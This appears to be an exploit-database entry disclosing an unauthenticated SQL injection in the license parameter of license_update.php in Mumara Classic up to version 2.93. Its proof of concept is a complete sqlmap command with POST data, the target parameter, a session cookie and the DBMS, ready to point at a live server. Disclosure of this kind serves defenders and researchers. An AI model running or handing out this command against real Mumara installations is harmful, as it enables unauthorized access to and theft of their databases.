Mumara Classic 2.93 - (license) SQL Injection (Unauthenticated) Vulnerability

# Exploit Title: Mumara Classic 2.93 - 'license' SQL Injection (Unauthenticated)
# Exploit Author: (v0yager) Shain Lakin
# Vendor Homepage: https://mumara.com
# Version: <= 2.93
# Tested on: CentOS 7

-==== Vulnerability ====-

An SQL injection vulnerability in license_update.php in Mumara Classic
through 2.93 allows a remote unauthenticated attacker to execute
arbitrary SQL commands via the license parameter.

-==== POC ====-

Using SQLMap:

sqlmap -u https://target/license_update.php --method POST --data "license=MUMARA-Delux-01x84ndsa40&install=install" -p license --cookie="PHPSESSID=any32gbaer3jaeif108fjci9x" --dbms=mysql